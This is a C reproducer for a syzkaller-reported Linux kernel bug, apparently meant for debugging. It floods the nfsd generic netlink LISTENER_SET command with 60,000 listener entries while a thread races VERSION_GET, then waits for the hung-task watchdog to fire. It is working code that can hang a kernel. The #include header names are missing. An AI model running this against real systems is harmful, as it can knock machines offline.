// https://syzkaller.appspot.com/bug?id=9d94c9273ea2b284e20debf16f153c26923876b8 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #define NFSD_FAMILY_NAME "nfsd" #define NFSD_FAMILY_VERSION 1 #define NFSD_CMD_VERSION_GET 5 #define NFSD_CMD_LISTENER_SET 6 #define NFSD_A_SERVER_SOCK_ADDR 1 #define NFSD_A_SOCK_ADDR 1 #define NFSD_A_SOCK_TRANSPORT_NAME 2 #define NLA_ALIGN(len) (((len) + 3) & ~3) void set_hung_task_timeout(void) { int fd = open("/proc/sys/kernel/hung_task_timeout_secs", O_WRONLY); if (fd >= 0) { if (write(fd, "10\n", 3) < 0) { printf("[-] Failed to write to hung_task_timeout_secs: %s\n", strerror(errno)); } else { printf("[+] set_hung_task_timeout successful.\n"); } close(fd); } else { printf("[-] Failed to open hung_task_timeout_secs: %s\n", strerror(errno)); } } int create_nl_socket(void) { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (fd < 0) { printf("[-] Failed to create netlink socket: %s\n", strerror(errno)); exit(1); } int sndbuf = 8 * 1024 * 1024; if (setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)) < 0) { printf("[-] Failed to setsockopt SO_SNDBUF: %s\n", strerror(errno)); } else { printf("[+] setsockopt SO_SNDBUF successful.\n"); } int rcvbuf = 8 * 1024 * 1024; if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0) { printf("[-] Failed to setsockopt SO_RCVBUF: %s\n", strerror(errno)); } else { printf("[+] setsockopt SO_RCVBUF successful.\n"); } struct sockaddr_nl local = { .nl_family = AF_NETLINK }; if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) { printf("[-] Failed to bind netlink socket: %s\n", strerror(errno)); close(fd); exit(1); } printf("[+] create_nl_socket successful.\n"); return fd; } int get_family_id(int fd, const char *name) { struct { struct nlmsghdr nlh; struct genlmsghdr genl; char buf[256]; } req = {0}; req.nlh.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN); req.nlh.nlmsg_type = GENL_ID_CTRL; req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; req.nlh.nlmsg_seq = 1; req.genl.cmd = CTRL_CMD_GETFAMILY; req.genl.version = 1; int off = NLMSG_LENGTH(GENL_HDRLEN); struct nlattr *nla = (struct nlattr *)((char *)&req + off); nla->nla_type = CTRL_ATTR_FAMILY_NAME; int name_len = strlen(name) + 1; nla->nla_len = sizeof(struct nlattr) + name_len; memcpy((char *)nla + sizeof(struct nlattr), name, name_len); req.nlh.nlmsg_len = off + NLA_ALIGN(nla->nla_len); struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; if (sendto(fd, &req, req.nlh.nlmsg_len, 0, (struct sockaddr *)&nladdr, sizeof(nladdr)) < 0) { printf("[-] Failed to send getfamily request: %s\n", strerror(errno)); exit(1); } char resp[8192]; int len = recvfrom(fd, resp, sizeof(resp), 0, NULL, NULL); if (len < 0) { printf("[-] Failed to receive getfamily response: %s\n", strerror(errno)); exit(1); } struct nlmsghdr *nlh = (struct nlmsghdr *)resp; for (; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->nlmsg_type == GENL_ID_CTRL) { struct genlmsghdr *genl_resp = NLMSG_DATA(nlh); int rem = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN); struct nlattr *na = (struct nlattr *)((char *)genl_resp + GENL_HDRLEN); while (rem >= (int)sizeof(struct nlattr)) { if (na->nla_type == CTRL_ATTR_FAMILY_ID) { printf("[+] get_family_id successful.\n"); return *(uint16_t *)((char *)na + sizeof(struct nlattr)); } rem -= NLA_ALIGN(na->nla_len); na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len)); } } } printf("[-] Failed to find family id\n"); exit(1); } void *version_get_thread(void *arg) { int family_id = (int)(intptr_t)arg; usleep(500000); int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (fd < 0) { printf("[-] Failed to create netlink socket in thread: %s\n", strerror(errno)); return NULL; } struct { struct nlmsghdr nlh; struct genlmsghdr genl; } req = {0}; req.nlh.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN); req.nlh.nlmsg_type = family_id; req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; req.nlh.nlmsg_seq = 3; req.genl.cmd = NFSD_CMD_VERSION_GET; req.genl.version = NFSD_FAMILY_VERSION; struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; printf("[+] Sending VERSION_GET request...\n"); if (sendto(fd, &req, req.nlh.nlmsg_len, 0, (struct sockaddr *)&nladdr, sizeof(nladdr)) < 0) { printf("[-] Failed to send VERSION_GET request: %s\n", strerror(errno)); } else { printf("[+] VERSION_GET request sent.\n"); } return NULL; } int main(void) { set_hung_task_timeout(); int fd = create_nl_socket(); int family_id = get_family_id(fd, NFSD_FAMILY_NAME); pthread_t tid; if (pthread_create(&tid, NULL, version_get_thread, (void *)(intptr_t)family_id) != 0) { printf("[-] Failed to create thread: %s\n", strerror(errno)); exit(1); } printf("[+] Thread created successfully.\n"); int num_listeners = 60000; int attrs_size = num_listeners * 64; char *attrs = malloc(attrs_size); if (!attrs) { printf("[-] Failed to allocate memory for attributes\n"); exit(1); } int off = 0; for (int i = 0; i < num_listeners; i++) { struct nlattr *nla_sock = (struct nlattr *)(attrs + off); nla_sock->nla_type = NFSD_A_SERVER_SOCK_ADDR | NLA_F_NESTED; int sock_off = sizeof(struct nlattr); struct nlattr *nla_addr = (struct nlattr *)((char *)nla_sock + sock_off); nla_addr->nla_type = NFSD_A_SOCK_ADDR; struct sockaddr_in sin = { .sin_family = AF_INET, .sin_port = htons(2049 + (i % 10000)), .sin_addr.s_addr = htonl(INADDR_ANY) }; nla_addr->nla_len = sizeof(struct nlattr) + sizeof(sin); memcpy((char *)nla_addr + sizeof(struct nlattr), &sin, sizeof(sin)); sock_off += NLA_ALIGN(nla_addr->nla_len); struct nlattr *nla_name = (struct nlattr *)((char *)nla_sock + sock_off); nla_name->nla_type = NFSD_A_SOCK_TRANSPORT_NAME; const char *name = "foo"; nla_name->nla_len = sizeof(struct nlattr) + strlen(name) + 1; memcpy((char *)nla_name + sizeof(struct nlattr), name, strlen(name) + 1); sock_off += NLA_ALIGN(nla_name->nla_len); nla_sock->nla_len = sock_off; off += NLA_ALIGN(nla_sock->nla_len); } int req_size = NLMSG_LENGTH(GENL_HDRLEN) + off; char *req_buf = malloc(req_size); if (!req_buf) { printf("[-] Failed to allocate memory for request\n"); exit(1); } struct nlmsghdr *nlh = (struct nlmsghdr *)req_buf; struct genlmsghdr *genl = (struct genlmsghdr *)(req_buf + NLMSG_HDRLEN); char *buf = req_buf + NLMSG_LENGTH(GENL_HDRLEN); memset(req_buf, 0, req_size); nlh->nlmsg_len = req_size; nlh->nlmsg_type = family_id; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = 2; genl->cmd = NFSD_CMD_LISTENER_SET; genl->version = NFSD_FAMILY_VERSION; memcpy(buf, attrs, off); struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; printf("[+] Sending LISTENER_SET request with %d listeners...\n", num_listeners); if (sendto(fd, req_buf, nlh->nlmsg_len, 0, (struct sockaddr *)&nladdr, sizeof(nladdr)) < 0) { printf("[-] Failed to send LISTENER_SET request: %s\n", strerror(errno)); exit(1); } printf("[+] LISTENER_SET request sent.\n"); char resp[8192]; if (recvfrom(fd, resp, sizeof(resp), 0, NULL, NULL) < 0) { printf("[-] Failed to receive LISTENER_SET response: %s\n", strerror(errno)); } else { printf("[+] LISTENER_SET response received.\n"); } printf("[+] Sleeping to allow hung task watchdog to fire...\n"); sleep(160); return 0; }